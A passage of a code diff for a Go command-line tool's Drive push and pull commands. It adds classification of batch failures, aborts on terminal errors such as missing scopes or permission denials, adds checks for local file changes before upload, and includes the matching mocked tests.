 // then best-effort aligns the local mtime to Drive's modified_time.
 func drivePullDownload(ctx context.Context, runtime *common.RuntimeContext, fileToken, target, remoteModifiedTime string) error {

shortcuts/drive/drive_pull_test.go

@@ -1032,6 +1032,66 @@ func TestDrivePullDownloadFailureSkipsDeleteLocalAndExitsNonZero(t *testing.T) {
 	}
 }
 
+func TestDrivePullAbortsAfterDownloadForbidden(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method:  "GET",
+		URL:     "/open-apis/drive/v1/files/tok_a/download",
+		Status:  http.StatusForbidden,
+		RawBody: []byte("forbidden"),
+	})
+
+	err := mountAndRunDrive(t, DrivePull, []string{
+		"+pull",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	assertDrivePullPartialFailure(t, err)
+
+	summary, items := splitDrivePullStdout(t, stdout.Bytes())
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a.txt" || item["phase"] != "download" || item["error_class"] != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(http.StatusForbidden) || item["retryable"] != false {
+		t.Fatalf("unexpected failure classification: %#v", item)
+	}
+	if _, statErr := os.Stat(filepath.Join("local", "b.txt")); !os.IsNotExist(statErr) {
+		t.Fatalf("b.txt should not be downloaded after terminal permission failure; stat err=%v", statErr)
+	}
+}
+
 // TestDrivePullDeleteLocalDoesNotEscapeViaSymlinkParentRef is the
 // regression for the "link/.." escape applied to --delete-local — the
 // most dangerous variant, since the bug would otherwise let the kernel

shortcuts/drive/drive_push.go

@@ -29,12 +29,25 @@ const (
 )
 
 type drivePushItem struct {
-	RelPath   string `json:"rel_path"`
-	FileToken string `json:"file_token,omitempty"`
-	Action    string `json:"action"`
-	Version   string `json:"version,omitempty"`
-	SizeBytes int64  `json:"size_bytes,omitempty"`
-	Error     string `json:"error,omitempty"`
+	RelPath    string `json:"rel_path"`
+	FileToken  string `json:"file_token,omitempty"`
+	Action     string `json:"action"`
+	Version    string `json:"version,omitempty"`
+	SizeBytes  int64  `json:"size_bytes,omitempty"`
+	Error      string `json:"error,omitempty"`
+	Phase      string `json:"phase,omitempty"`
+	ErrorClass string `json:"error_class,omitempty"`
+	Code       int    `json:"code,omitempty"`
+	Subtype    string `json:"subtype,omitempty"`
+	Retryable  *bool  `json:"retryable,omitempty"`
+}
+
+type driveBatchFailureDecision struct {
+	Class     string
+	Code      int
+	Subtype   string
+	Retryable bool
+	Terminal  bool
 }
 
 // DrivePush is a one-way, file-level mirror from a local directory onto a
@@ -248,9 +261,14 @@ var DrivePush = common.Shortcut{
 				continue
 			}
 			if _, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, relDir, folderCache); ensureErr != nil {
-				items = append(items, drivePushItem{RelPath: relDir, Action: "failed", Error: ensureErr.Error()})
+				item, terminal := drivePushFailedItem(relDir, "", "failed", "create_folder", 0, ensureErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, ensureErr)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePushItem{RelPath: relDir, FileToken: folderCache[relDir], Action: "folder_created"})
@@ -266,6 +284,9 @@ var DrivePush = common.Shortcut{
 
 		for _, rel := range localPaths {
 			localFile := localFiles[rel]
+			if uploadFailed && drivePushHasTerminalFailure(items) {
+				break
+			}
 
 			if entry, ok := remoteFiles[rel]; ok {
 				if drivePushShouldSkipExisting(localFile, entry, ifExists) {
@@ -275,9 +296,14 @@ var DrivePush = common.Shortcut{
 				}
 				parentToken, parentErr := drivePushEnsureParentToken(ctx, runtime, folderToken, rel, folderCache)
 				if parentErr != nil {
-					items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "failed", SizeBytes: localFile.Size, Error: parentErr.Error()})
+					item, terminal := drivePushFailedItem(rel, entry.FileToken, "failed", "create_folder", localFile.Size, parentErr)
+					items = append(items, item)
 					failed++
 					uploadFailed = true
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, parentErr)
+						break
+					}
 					continue
 				}
 				token, version, upErr := drivePushUploadFile(ctx, runtime, localFile, entry.FileToken, parentToken)
@@ -301,9 +327,14 @@ var DrivePush = common.Shortcut{
 					if failedToken == "" {
 						failedToken = entry.FileToken
 					}
-					items = append(items, drivePushItem{RelPath: rel, FileToken: failedToken, Action: "failed", SizeBytes: localFile.Size, Error: upErr.Error()})
+					item, terminal := drivePushFailedItem(rel, failedToken, "failed", "upload", localFile.Size, upErr)
+					items = append(items, item)
 					failed++
 					uploadFailed = true
+					if terminal {
+						fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, upErr)
+						break
+					}
 					continue
 				}
 				items = append(items, drivePushItem{RelPath: rel, FileToken: token, Action: "overwritten", Version: version, SizeBytes: localFile.Size})
@@ -314,16 +345,26 @@ var DrivePush = common.Shortcut{
 			parentRel := drivePushParentRel(rel)
 			parentToken, ensureErr := drivePushEnsureFolder(ctx, runtime, folderToken, parentRel, folderCache)
 			if ensureErr != nil {
-				items = append(items, drivePushItem{RelPath: rel, Action: "failed", SizeBytes: localFile.Size, Error: ensureErr.Error()})
+				item, terminal := drivePushFailedItem(rel, "", "failed", "create_folder", localFile.Size, ensureErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, ensureErr)
+					break
+				}
 				continue
 			}
 			token, _, upErr := drivePushUploadFile(ctx, runtime, localFile, "", parentToken)
 			if upErr != nil {
-				items = append(items, drivePushItem{RelPath: rel, Action: "failed", SizeBytes: localFile.Size, Error: upErr.Error()})
+				item, terminal := drivePushFailedItem(rel, "", "failed", "upload", localFile.Size, upErr)
+				items = append(items, item)
 				failed++
 				uploadFailed = true
+				if terminal {
+					fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, upErr)
+					break
+				}
 				continue
 			}
 			items = append(items, drivePushItem{RelPath: rel, FileToken: token, Action: "uploaded", SizeBytes: localFile.Size})
@@ -350,7 +391,11 @@ var DrivePush = common.Shortcut{
 			}
 			sort.Strings(remoteRelPaths)
 
+			abortDelete := false
 			for _, rel := range remoteRelPaths {
+				if abortDelete {
+					break
+				}
 				keepToken := ""
 				if _, ok := localFiles[rel]; ok {
 					if chosen, ok := remoteFiles[rel]; ok {
@@ -362,8 +407,14 @@ var DrivePush = common.Shortcut{
 						continue
 					}
 					if err := drivePushDeleteFile(ctx, runtime, entry.FileToken); err != nil {
-						items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "delete_failed", Error: err.Error()})
+						item, terminal := drivePushFailedItem(rel, entry.FileToken, "delete_failed", "delete", 0, err)
+						items = append(items, item)
 						failed++
+						if terminal {
+							fmt.Fprintf(runtime.IO().ErrOut, "Aborting +push after terminal %s failure: %v\n", item.Phase, err)
+							abortDelete = true
+							break
+						}
 						continue
 					}
 					items = append(items, drivePushItem{RelPath: rel, FileToken: entry.FileToken, Action: "deleted_remote"})
@@ -378,6 +429,7 @@ var DrivePush = common.Shortcut{
 				"skipped":        skipped,
 				"failed":         failed,
 				"deleted_remote": deletedRemote,
+				"aborted":        drivePushHasTerminalFailure(items),
 			},
 			"items": items,
 		}
@@ -507,6 +559,91 @@ func drivePushShouldSkipSmart(localFile drivePushLocalFile, remoteFile driveRemo
 	return cmp >= 0
 }
 
+func drivePushFailedItem(relPath, fileToken, action, phase string, sizeBytes int64, err error) (drivePushItem, bool) {
+	decision := driveClassifyBatchFailure(err)
+	item := drivePushItem{
+		RelPath:    relPath,
+		FileToken:  fileToken,
+		Action:     action,
+		SizeBytes:  sizeBytes,
+		Error:      err.Error(),
+		Phase:      phase,
+		ErrorClass: decision.Class,
+		Code:       decision.Code,
+		Subtype:    decision.Subtype,
+		Retryable:  driveBoolPtr(decision.Retryable),
+	}
+	return item, decision.Terminal
+}
+
+func driveBoolPtr(v bool) *bool {
+	return &v
+}
+
+func driveClassifyBatchFailure(err error) driveBatchFailureDecision {
+	decision := driveBatchFailureDecision{Class: "unknown", Retryable: errs.IsRetryable(err)}
+	problem, ok := errs.ProblemOf(err)
+	if !ok {
+		return decision
+	}
+	decision.Code = problem.Code
+	decision.Subtype = string(problem.Subtype)
+	decision.Retryable = problem.Retryable
+
+	switch {
+	case problem.Category == errs.CategoryAuthorization && problem.Code == 99991672:
+		decision.Class = "app_scope_missing"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryAuthorization && problem.Code == 99991679:
+		decision.Class = "user_scope_missing"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryAuthorization && problem.Subtype == errs.SubtypePermissionDenied:
+		decision.Class = "permission_denied"
+		decision.Terminal = true
+	case problem.Category == errs.CategoryNetwork && problem.Code == http.StatusForbidden:
+		decision.Class = "permission_denied"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeInvalidParameters || problem.Code == 1061002:
+		decision.Class = "invalid_api_parameters"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeRateLimit || problem.Code == 99991400:
+		decision.Class = "rate_limited"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeQuotaExceeded || problem.Code == 1061043:
+		decision.Class = "file_size_limit"
+	case problem.Code == 1062009:
+		decision.Class = "upload_size_mismatch"
+	case problem.Subtype == errs.SubtypeNotFound || problem.Code == 1061007:
+		decision.Class = "remote_not_found"
+	case problem.Subtype == errs.SubtypeServerError || problem.Code == 1061001 || problem.Code == 2200:
+		decision.Class = "server_error"
+		decision.Terminal = true
+	case problem.Subtype == errs.SubtypeFailedPrecondition:
+		decision.Class = "local_file_changed"
+	default:
+		decision.Class = string(problem.Subtype)
+	}
+	return decision
+}
+
+func drivePushHasTerminalFailure(items []drivePushItem) bool {
+	for _, item := range items {
+		if driveTerminalBatchErrorClass(item.ErrorClass) {
+			return true
+		}
+	}
+	return false
+}
+
+func driveTerminalBatchErrorClass(errorClass string) bool {
+	switch errorClass {
+	case "app_scope_missing", "user_scope_missing", "permission_denied", "invalid_api_parameters", "rate_limited", "server_error":
+		return true
+	default:
+		return false
+	}
+}
+
 func drivePushRemoteViews(entries []driveRemoteEntry, duplicateRemote string) (map[string]driveRemoteEntry, map[string]driveRemoteEntry, map[string][]driveRemoteEntry, error) {
 	remoteFiles := make(map[string]driveRemoteEntry, len(entries))
 	remoteFolders := make(map[string]driveRemoteEntry, len(entries))
@@ -600,6 +737,12 @@ func drivePushEnsureParentToken(ctx context.Context, runtime *common.RuntimeCont
 // the three-step prepare/part/finish flow, which mirrors drive +upload's
 // existing multipart logic.
 func drivePushUploadFile(ctx context.Context, runtime *common.RuntimeContext, file drivePushLocalFile, existingToken, parentToken string) (string, string, error) {
+	if err := drivePushValidateUploadRequest(file, existingToken, parentToken); err != nil {
+		return "", "", err
+	}
+	if err := drivePushVerifyLocalSnapshot(runtime, file); err != nil {
+		return "", "", err
+	}
 	if file.Size > common.MaxDriveMediaUploadSinglePartSize {
 		token, err := drivePushUploadMultipart(ctx, runtime, file, existingToken, parentToken)
 		// Multipart finish does not return version on the existing
@@ -612,6 +755,44 @@ func drivePushUploadFile(ctx context.Context, runtime *common.RuntimeContext, fi
 	return drivePushUploadAll(ctx, runtime, file, existingToken, parentToken)
 }
 
+func drivePushValidateUploadRequest(file drivePushLocalFile, existingToken, parentToken string) error {
+	if strings.TrimSpace(file.FileName) == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: file name is empty", file.RelPath)
+	}
+	if file.Size < 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: file size is negative", file.RelPath)
+	}
+	if strings.TrimSpace(parentToken) == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: parent folder token is empty", file.RelPath)
+	}
+	if err := validate.ResourceName(parentToken, "parent_node"); err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot upload %q: %s", file.RelPath, err)
+	}
+	if existingToken != "" {
+		if err := validate.ResourceName(existingToken, "file_token"); err != nil {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "cannot overwrite %q: %s", file.RelPath, err)
+		}
+	}
+	return nil
+}
+
+func drivePushVerifyLocalSnapshot(runtime *common.RuntimeContext, file drivePushLocalFile) error {
+	info, err := runtime.FileIO().Stat(file.OpenPath)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s is no longer readable: %v", file.RelPath, err).WithCause(err)
+	}
+	if !info.Mode().IsRegular() {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s is no longer a regular file", file.RelPath)
+	}
+	if info.Size() != file.Size {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s snapshot size no longer matches", file.RelPath)
+	}
+	if modTimer, ok := info.(interface{ ModTime() time.Time }); ok && !modTimer.ModTime().Equal(file.ModTime) {
+		return errs.NewValidationError(errs.SubtypeFailedPrecondition, "local file changed during push: %s snapshot modtime no longer matches", file.RelPath)
+	}
+	return nil
+}
+
 func drivePushUploadAll(_ context.Context, runtime *common.RuntimeContext, file drivePushLocalFile, existingToken, parentToken string) (string, string, error) {
 	f, err := runtime.FileIO().Open(file.OpenPath)
 	if err != nil {

shortcuts/drive/drive_push_test.go

@@ -5,8 +5,10 @@ package drive
 
 import (
 	"context"
+	"encoding/json"
 	"errors"
 	"io"
+	"net/http"
 	"os"
 	"path/filepath"
 	"strings"
@@ -14,12 +16,14 @@ import (
 	"testing"
 	"time"
 
+	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/extension/fileio"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
 	"github.com/larksuite/cli/internal/httpmock"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/shortcuts/common"
+	"github.com/spf13/cobra"
 )
 
 // countingOpenProvider wraps a fileio.Provider and counts FileIO.Open
@@ -652,6 +656,82 @@ func TestDrivePushDeleteRemoteSkipsOnlineDocs(t *testing.T) {
 	}
 }
 
+func TestDrivePushDeleteRemoteAbortsAfterTerminalFailure(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{
+				"files": []interface{}{
+					map[string]interface{}{"token": "tok_a", "name": "a.txt", "type": "file"},
+					map[string]interface{}{"token": "tok_b", "name": "b.txt", "type": "file"},
+				},
+				"has_more": false,
+			},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "DELETE",
+		URL:    "/open-apis/drive/v1/files/tok_a",
+		Body: map[string]interface{}{
+			"code": 1061004,
+			"msg":  "forbidden",
+		},
+	})
+	// No DELETE stub for tok_b: terminal delete failure must stop before it.
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--delete-remote",
+		"--yes",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) || pfErr.Code != output.ExitAPI {
+		t.Fatalf("expected ExitAPI *output.PartialFailureError, got %T %v", err, err)
+	}
+
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if got := summary["deleted_remote"]; got != float64(0) {
+		t.Fatalf("summary.deleted_remote = %v, want 0", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["action"] != "delete_failed" || item["phase"] != "delete" || item["error_class"] != "permission_denied" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(1061004) || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["file_token"] == "tok_b" {
+			t.Fatalf("terminal delete failure must abort before tok_b, got items=%#v", items)
+		}
+	}
+}
+
 func TestDrivePushNewestOverwritesChosenDuplicateAndDeletesSibling(t *testing.T) {
 	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
 
@@ -886,21 +966,22 @@ func TestDrivePushOverwriteWithoutVersionFails(t *testing.T) {
 		t.Errorf("expected ExitAPI (%d), got code=%d", output.ExitAPI, pfErr.Code)
 	}
 
-	out := stdout.String()
-	// summary.failed should reflect the missing version; summary.uploaded
-	// should not pretend the overwrite succeeded.
-	if !strings.Contains(out, `"failed": 1`) {
-		t.Errorf("expected failed=1, got: %s", out)
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Errorf("summary.failed = %v, want 1", got)
 	}
-	if !strings.Contains(out, "no version") {
-		t.Errorf("expected error about missing version in items[].error, got: %s", out)
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	if got, _ := items[0]["error"].(string); !strings.Contains(got, "no version") {
+		t.Errorf("items[0].error = %q, want missing-version message", got)
 	}
 	// Pin the token-stability contract: the failed item must surface the
 	// token returned by upload_all (tok_keep_new), NOT the fallback
 	// entry.FileToken (tok_keep). Without this, a regression that always
 	// uses entry.FileToken on failure would slip through.
-	if !strings.Contains(out, `"file_token": "tok_keep_new"`) {
-		t.Errorf("expected failed item to surface upload_all's returned file_token (tok_keep_new), got: %s", out)
+	if got := items[0]["file_token"]; got != "tok_keep_new" {
+		t.Errorf("items[0].file_token = %v, want tok_keep_new", got)
 	}
 }
 
@@ -962,24 +1043,313 @@ func TestDrivePushOverwritePartialSuccessSurfacesReturnedToken(t *testing.T) {
 		t.Fatalf("expected ExitAPI from *output.PartialFailureError, got %T %v", err, err)
 	}
 
-	out := stdout.String()
 	// Partial failure reports an ok:false result envelope on stdout (not a
 	// misleading ok:true) while still carrying BOTH the succeeded and failed
 	// items — consistent with the pre-change payload. The failed side is
 	// asserted via "failed": 1 and the succeeded side via tok_keep_partial.
-	if !strings.Contains(out, `"ok": false`) {
-		t.Errorf("partial failure must emit an ok:false result envelope, got: %s", out)
+	envelope := decodeDrivePushStdout(t, stdout.Bytes())
+	if envelope.OK {
+		t.Fatalf("partial failure must emit ok=false; stdout=%s", stdout.String())
 	}
-	if !strings.Contains(out, `"failed": 1`) {
-		t.Errorf("expected failed=1, got: %s", out)
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Errorf("summary.failed = %v, want 1", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
 	}
 	// The freshly returned token must be the one in items[].file_token,
 	// not the stale entry.FileToken (tok_keep_old).
-	if !strings.Contains(out, `"file_token": "tok_keep_partial"`) {
-		t.Errorf("expected items[].file_token to surface upload_all's returned token (tok_keep_partial), got: %s", out)
+	if got := items[0]["file_token"]; got != "tok_keep_partial" {
+		t.Errorf("items[0].file_token = %v, want tok_keep_partial", got)
 	}
-	if strings.Contains(out, `"file_token": "tok_keep_old"`) {
-		t.Errorf("must NOT fall back to entry.FileToken when upload_all returned a token; got: %s", out)
+	if got := items[0]["file_token"]; got == "tok_keep_old" {
+		t.Errorf("must NOT fall back to entry.FileToken when upload_all returned a token; item=%#v", items[0])
+	}
+}
+
+func TestDrivePushAbortsAfterUploadParamsError(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join("local", "a.txt"), []byte("A"), 0o644); err != nil {
+		t.Fatalf("WriteFile a: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join("local", "b.txt"), []byte("B"), 0o644); err != nil {
+		t.Fatalf("WriteFile b: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/drive/v1/files/upload_all",
+		Body: map[string]interface{}{
+			"code": 1061002,
+			"msg":  "params error.",
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a.txt" || item["phase"] != "upload" || item["error_class"] != "invalid_api_parameters" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(1061002) || item["subtype"] != "invalid_parameters" || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["rel_path"] == "b.txt" {
+			t.Fatalf("terminal upload params error must abort before b.txt, got items=%#v", items)
+		}
+	}
+}
+
+func TestDrivePushAbortsAfterCreateFolderMissingScope(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll(filepath.Join("local", "a"), 0o755); err != nil {
+		t.Fatalf("MkdirAll a: %v", err)
+	}
+	if err := os.MkdirAll(filepath.Join("local", "b"), 0o755); err != nil {
+		t.Fatalf("MkdirAll b: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	reg.Register(&httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/drive/v1/files/create_folder",
+		Body: map[string]interface{}{
+			"code": 99991672,
+			"msg":  "Access denied. One of the following scopes is required: [drive:drive, space:folder:create].",
+		},
+	})
+
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != true {
+		t.Fatalf("summary.aborted = %v, want true", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["rel_path"] != "a" || item["phase"] != "create_folder" || item["error_class"] != "app_scope_missing" {
+		t.Fatalf("unexpected failed item: %#v", item)
+	}
+	if item["code"] != float64(99991672) || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	for _, item := range items {
+		if item["rel_path"] == "b" {
+			t.Fatalf("missing folder-create scope must abort before b, got items=%#v", items)
+		}
+	}
+}
+
+func TestDrivePushDetectsLocalFileChangedBeforeUpload(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	localPath := filepath.Join("local", "changing.txt")
+	if err := os.WriteFile(localPath, []byte("before"), 0o644); err != nil {
+		t.Fatalf("WriteFile: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		OnMatch: func(req *http.Request) {
+			if err := os.WriteFile(localPath, []byte("after-change"), 0o644); err != nil {
+				t.Fatalf("mutate local file: %v", err)
+			}
+		},
+		Body: map[string]interface{}{
+			"code": 0, "msg": "ok",
+			"data": map[string]interface{}{"files": []interface{}{}, "has_more": false},
+		},
+	})
+	err := mountAndRunDrive(t, DrivePush, []string{
+		"+push",
+		"--local-dir", "local",
+		"--folder-token", "folder_root",
+		"--as", "bot",
+	}, f, stdout)
+	if err == nil {
+		t.Fatalf("expected partial failure, got nil\nstdout: %s", stdout.String())
+	}
+	var pfErr *output.PartialFailureError
+	if !errors.As(err, &pfErr) {
+		t.Fatalf("expected *output.PartialFailureError, got %T: %v", err, err)
+	}
+	summary, items := splitDrivePushStdout(t, stdout.Bytes())
+	if got := summary["failed"]; got != float64(1) {
+		t.Fatalf("summary.failed = %v, want 1", got)
+	}
+	if got := summary["aborted"]; got != false {
+		t.Fatalf("summary.aborted = %v, want false", got)
+	}
+	if len(items) != 1 {
+		t.Fatalf("items len = %d, want 1; items=%#v", len(items), items)
+	}
+	item := items[0]
+	if item["error_class"] != "local_file_changed" || item["subtype"] != "failed_precondition" || item["retryable"] != false {
+		t.Fatalf("unexpected failure metadata: %#v", item)
+	}
+	if got, _ := item["error"].(string); !strings.Contains(got, "local file changed during push") {
+		t.Fatalf("items[0].error = %q, want local-change message", got)
+	}
+	if strings.Contains(stdout.String(), "httpmock: no stub") {
+		t.Fatalf("upload_all was called after local snapshot changed:\n%s", stdout.String())
+	}
+
+	problemErr := drivePushVerifyLocalSnapshot(common.TestNewRuntimeContext(&cobra.Command{Use: "drive +push"}, &core.CliConfig{}), drivePushLocalFile{
+		RelPath:  "missing.txt",
+		OpenPath: filepath.Join("local", "missing.txt"),
+		FileName: "missing.txt",
+		Size:     1,
+		ModTime:  time.Now(),
+	})
+	problem, ok := errs.ProblemOf(problemErr)
+	if !ok {
+		t.Fatalf("ProblemOf(snapshot error) ok=false, err=%T %v", problemErr, problemErr)
+	}
+	if problem.Subtype != errs.SubtypeFailedPrecondition {
+		t.Fatalf("snapshot error subtype = %q, want %q", problem.Subtype, errs.SubtypeFailedPrecondition)
+	}
+	if problem.Category != errs.CategoryValidation {
+		t.Fatalf("snapshot error category = %q, want %q", problem.Category, errs.CategoryValidation)
+	}
+	if errors.Unwrap(problemErr) == nil {
+		t.Fatalf("snapshot error cause was not preserved")
+	}
+}
+
+func TestDrivePushDetectsSameSizeLocalFileChangedBeforeUpload(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, driveTestConfig())
+
+	tmpDir := t.TempDir()
+	withDriveWorkingDir(t, tmpDir)
+	if err := os.MkdirAll("local", 0o755); err != nil {
+		t.Fatalf("MkdirAll: %v", err)
+	}
+	localPath := filepath.Join("local", "changing.txt")
+	if err := os.WriteFile(localPath, []byte("before"), 0o644); err != nil {
+		t.Fatalf("WriteFile: %v", err)
+	}
+	originalModTime := time.Unix(100, 0)
+	changedModTime := time.Unix(200, 0)
+	if err := os.Chtimes(localPath, originalModTime, originalModTime); err != nil {
+		t.Fatalf("Chtimes original: %v", err)
+	}
+
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "folder_token=folder_root",
+		OnMatch: func(req *http.Request) {
+			if err := os.WriteFile(localPath, []byte("AFTER!"), 0o644); err != nil {
+				t.Fatalf("mutate local file: %v", err)
+			}
+			if err := os.Chtimes(localPath, changedModTime, changedModTime); err != nil {
+				t.Fatalf("Chtimes changed: %v", err)
+			}
+		},
+		Body: map[string]interface{}{
